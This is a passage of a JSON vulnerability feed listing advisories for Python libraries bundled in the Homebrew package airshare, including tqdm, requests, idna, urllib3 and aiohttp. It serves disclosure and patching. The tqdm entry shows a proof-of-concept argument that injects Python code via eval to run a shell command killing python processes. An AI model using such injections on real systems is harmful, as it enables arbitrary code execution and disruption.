y":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"tqdm","subject_version":"4.70.1","key":"pkg:pypi/tqdm@4.70.1","resource":"tqdm"}]},"summary":"tqdm CLI arguments injection attack","details":"### Impact\nAny optional non-boolean CLI arguments (e.g. `--delim`, `--buf-size`, `--manpath`) are passed through python's `eval`, allowing arbitrary code execution. Example:\n\n```sh\npython -m tqdm --manpath=\"\\\" + str(exec(\\\"import os\\nos.system('echo hi && killall python3')\\\")) + \\\"\"\n```\n\n### Patches\nhttps://github.com/tqdm/tqdm/commit/4e613f84ed2ae029559f539464df83fa91feb316 released in `tqdm>=4.66.3`\n\n### Workarounds\nNone\n\n### References\n- https://github.com/tqdm/tqdm/releases/tag/v4.66.3","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tqdm/tqdm/security/advisories/GHSA-g7vv-2v7x-gj9p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34062"},{"type":"WEB","url":"https://github.com/tqdm/tqdm/commit/4e613f84ed2ae029559f539464df83fa91feb316"},{"type":"PACKAGE","url":"https://github.com/tqdm/tqdm"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PA3GIGHPWAHCTT4UF57LTPZGWHAX3GW6"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QRECVQCCESHBS3UJOWNXQUIX725TKNY6"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VA337CYUS4SLRFV2P6MX6MZ2LKFURKJC"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-35195","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T01:16:04Z","upstream":["GHSA-9wx4-h78v-vm56","CVE-2024-35195","PYSEC-2026-1873"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_11"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests `Session` object does not verify requests after making first request with verify=False","details":"When using a `requests.Session`, if the first request to a given origin is made with `verify=False`, TLS certificate verification may remain disabled for all subsequent requests to that origin, even if `verify=True` is explicitly specified later.\n\nThis occurs because the underlying connection is reused from the session's connection pool, causing the initial TLS verification setting to persist for the lifetime of the pooled connection. As a result, applications may unintentionally send requests without certificate verification, leading to potential man-in-the-middle attacks and compromised confidentiality or integrity.\n\nThis behavior affects versions of `requests` prior to 2.32.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9wx4-h78v-vm56"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-35195"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6655"},{"type":"WEB","url":"https://github.com/psf/requests/commit/a58d7f2ffb4d00b46dca2d70a3932a0b37e22fac"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IYLSNK5TL46Q6XPRVMHVWS63MVJQOK4Q"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/N7WP6EYDSUOCOJYHDK5NX43PYZ4SNHGZ"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-3651","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T01:16:04Z","upstream":["GHSA-jjg7-2v4v-x38h","CVE-2024-3651","PYSEC-2024-60"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_9"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.7","resource":"idna","resource_purl":"pkg:pypi/idna@3.20"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.20","key":"pkg:pypi/idna@3.20","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA) vulnerable to denial of service from specially crafted inputs to idna.encode","details":"### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nThe function has been refined to reject such strings without the associated resource consumption in version 3.7.\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.\n\n### References\n* https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-jjg7-2v4v-x38h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-3651"},{"type":"WEB","url":"https://github.com/kjd/idna/commit/1d365e17e10d72d0b7876316fc7b9ca0eebdd38d"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2024-60.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/05/msg00006.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4YQUPYH3SVZ5GFF2CDQ55FCM575AZTF2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F2S5E23N6E52S46KGNYTDFB75LOC4N4D"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S5IDLLD2IKSIVRBSLB34WTSYGLMWUFWF"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ULSC7HBJKXB3BZV367WM5BR6DFEC4Z43"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-37891","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T01:16:05Z","upstream":["GHSA-34jh-p97f-mpxf","CVE-2024-37891","PYSEC-2026-1995"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_12"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.2","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3's Proxy-Authorization request header isn't stripped during cross-origin redirects","details":"When using urllib3's proxy support with `ProxyManager`, the `Proxy-Authorization` header is only sent to the configured proxy, as expected.\n\nHowever, when sending HTTP requests *without* using urllib3's proxy support, it's possible to accidentally configure the `Proxy-Authorization` header even though it won't have any effect as the request is not using a forwarding proxy or a tunneling proxy. In those cases, urllib3 doesn't treat the `Proxy-Authorization` HTTP header as one carrying authentication material and thus doesn't strip the header on cross-origin redirects.\n\nBecause this is a highly unlikely scenario, we believe the severity of this vulnerability is low for almost all users. Out of an abundance of caution urllib3 will automatically strip the `Proxy-Authorization` header during cross-origin redirects to avoid the small chance that users are doing this on accident.\n\nUsers should use urllib3's proxy support or disable automatic redirects to achieve safe processing of the `Proxy-Authorization` header, but we still decided to strip the header by default in order to further protect users who aren't using the correct approach.\n\n## Affected usages\n\nWe believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:\n\n* Setting the `Proxy-Authorization` header without using urllib3's built-in proxy support.\n* Not disabling HTTP redirects.\n* Either not using an HTTPS origin server or for the proxy or target origin to redirect to a malicious origin.\n\n## Remediation\n\n* Using the `Proxy-Authorization` header with urllib3's `ProxyManager`.\n* Disabling HTTP redirects using `redirects=False` when sending requests.\n* Not using the `Proxy-Authorization` header.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-34jh-p97f-mpxf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37891"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/40b6d1605814dd1db0a46e202d6e56f2e4c9a468"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/accff72ecc2f6cf5a76d9570198a93ac7c90270e"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240822-0003"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/proxy-authorization-header-handling-vulnerability-in-urllib3-cve-2024-37891"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-47081","published":"2026-08-13T16:35:13Z","modified":"2026-10-21T10:32:48Z","upstream":["GHSA-9hjg-9r4m-mvj7","CVE-2024-47081","PYSEC-2026-1872"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_16"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.4","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests vulnerable to .netrc credentials leak via malicious URLs","details":"### Impact\n\nDue to a URL parsing issue, Requests releases prior to 2.32.4 may leak .netrc credentials to third parties for specific maliciously-crafted URLs.\n\n### Workarounds\nFor older versions of Requests, use of the .netrc file can be disabled with `trust_env=False` on your Requests Session ([docs](https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env)).\n\n### References\nhttps://github.com/psf/requests/pull/6965\nhttps://seclists.org/fulldisclosure/2025/Jun/2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47081"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6965"},{"type":"WEB","url":"https://github.com/psf/requests/commit/96ba401c1296ab1dda74a2365ef36d88f7d144ef"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.32.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2026-1872.yaml"},{"type":"WEB","url":"https://pypi.org/project/requests"},{"type":"WEB","url":"https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env"},{"type":"WEB","url":"https://seclists.org/fulldisclosure/2025/Jun/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/11"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/9"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/1"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/6"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-52303","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-27mf-ghqm-j3j8","CVE-2024-52303","PYSEC-2026-1096"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.6_14"},{"fixed":"0.1.6_15"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.11","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp has a memory leak when middleware is enabled when requesting a resource with a non-allowed method","details":"### Summary\n\nA memory leak can occur when a request produces a `MatchInfoError`. This was caused by adding an entry to a cache on each request, due to the building of each `MatchInfoError` producing a unique cache entry.\n\n### Impact\n\nIf the user is making use of any middlewares with `aiohttp.web` then it is advisable to upgrade immediately.\n\nAn attacker may be able to exhaust the memory resources of a server by sending a substantial number (100,000s to millions) of such requests.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bc15db61615079d1b6327ba42c682f758fa96936","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-27mf-ghqm-j3j8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-52303"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bc15db61615079d1b6327ba42c682f758fa96936"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-52304","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-8495-4g3g-x7pr","CVE-2024-52304","PYSEC-2026-1103"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_15"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.11","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp allows request smuggling due to incorrect parsing of chunk extensions","details":"### Summary\nThe Python parser parses newlines in chunk extensions incorrectly which can lead to request smuggling vulnerabilities under certain conditions.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or `AIOHTTP_NO_EXTENSIONS` is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/259edc369075de63e6f3a4eaade058c62af0df71","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-8495-4g3g-x7pr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-52304"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/259edc369075de63e6f3a4eaade058c62af0df71"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-50181","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T01:16:05Z","upstream":["GHSA-pq67-6m6q-mj2v","CVE-2025-50181","PYSEC-2026-1999"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_17"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 redirects are not disabled when retries are disabled on PoolManager instantiation","details":"urllib3 handles redirects and retries using the same mechanism, which is controlled by the `Retry` object. The most common way to disable redirects is at the request level, as follows:\n\n```python\nresp = urllib3.request(\"GET\", \"https://httpbin.org/redirect/1\", redirect=False)\nprint(resp.status)\n# 302\n```\n\nHowever, it is also possible to disable redirects, for all requests, by instantiating a `PoolManager` and specifying `retries` in a way that disable redirects:\n\n```python\nimport urllib3\n\nhttp = urllib3.PoolManager(retries=0)  # should raise MaxRetryError on redirect\nhttp = urllib3.PoolManager(retries=urllib3.Retry(redirect=0))  # equivalent to the above\nhttp = urllib3.PoolManager(retries=False)  # should return the first response\n\nresp = http.request(\"GET\", \"https://httpbin.org/redirect/1\")\n```\n\nHowever, the `retries` parameter is currently ignored, which means all the above examples don't disable redirects.\n\n## Affected usages\n\nPassing `retries` on `PoolManager` instantiation to disable redirects or restrict their number.\n\nBy default, requests and botocore users are not affected.\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects at the PoolManager level will remain vulnerable.\n\n## Remediation\n\nYou can remediate this vulnerability with the following steps:\n\n * Upgrade to a patched version of urllib3. If your organization would benefit from the continued support of urllib3 1.x, please contact [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com) to discuss sponsorship or contribution opportunities.\n * Disable redirects at the `request()` level instead of the `PoolManager()` level.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-pq67-6m6q-mj2v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50181"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/f05b1329126d5be6de501f9d1e3e36738bc08857"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-53643","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-9548-qrrj-x5pj","CVE-2025-53643","PYSEC-2026-1104"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_18"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.12.14","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":" AIOHTTP is vulnerable to HTTP Request/Response Smuggling through incorrect parsing of chunked trailer sections","details":"### Summary\nThe Python parser is vulnerable to a request smuggling vulnerability due to not parsing trailer sections of an HTTP request.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/e8d774f635dc6d1cd3174d0e38891da5de0e2b6a","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9548-qrrj-x5pj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53643"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e8d774f635dc6d1cd3174d0e38891da5de0e2b6a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-66418","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T01:16:05Z","upstream":["GHSA-gm62-xv2j-4w53","CVE-2025-66418","PYSEC-2026-1998"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_19"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 allows an unbounded number of links in the decompression chain","details":"## Impact\n\nurllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., `Content-Encoding: gzip, zstd`).\n\nHowever, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.\n\n\n## Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.\n\n\n## Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.\n\nIf upgrading is not immediately possible, use [`preload_content=False`](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) and ensure that `resp.headers[\"content-encoding\"]` contains a safe number of encodings before reading the response content.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66418"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/24d7b67eac89f94e11003424bcf0d8f7b72222a8"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-66471","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T01:16:05Z","upstream":["GHSA-2xpw-w6gg-jr37","CVE-2025-66471","PYSEC-2026-1994"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_19"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 streaming API improperly handles highly compressed data","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nWhen streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.\n\nThe decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.\n\n`stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`, `readinto(b)` are examples of `urllib3.HTTPResponse` method calls using the affected logic unless decoding is disabled explicitly.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.\n\nIf your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the `urllib3[brotli]` extra in the patched versions of urllib3.\n\n\n### Credits\n\nThe issue was reported by @Cycloctane.\nSupplemental information was provided by @stamparm during a security audit performed by [7ASecurity](https://7asecurity.com/) and facilitated by [OSTIF](https://ostif.org/).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66471"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/d0fde3672e4a4093f7587858dccfc298eb66e46c"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-1994.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://pypi.org/project/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69223","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-6mq8-rvhq-8wgg","CVE-2025-69223","PYSEC-2026-1101"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP's HTTP Parser auto_decompress feature is vulnerable to zip bomb","details":"### Summary\nA zip bomb can be used to execute a DoS against the aiohttp server.\n\n### Impact\nAn attacker may be able to send a compressed request that when decompressed by aiohttp could exhaust the host's memory.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6mq8-rvhq-8wgg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69223"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69224","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-69f9-5gxw-wvc2","CVE-2025-69224","PYSEC-2026-1099"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"match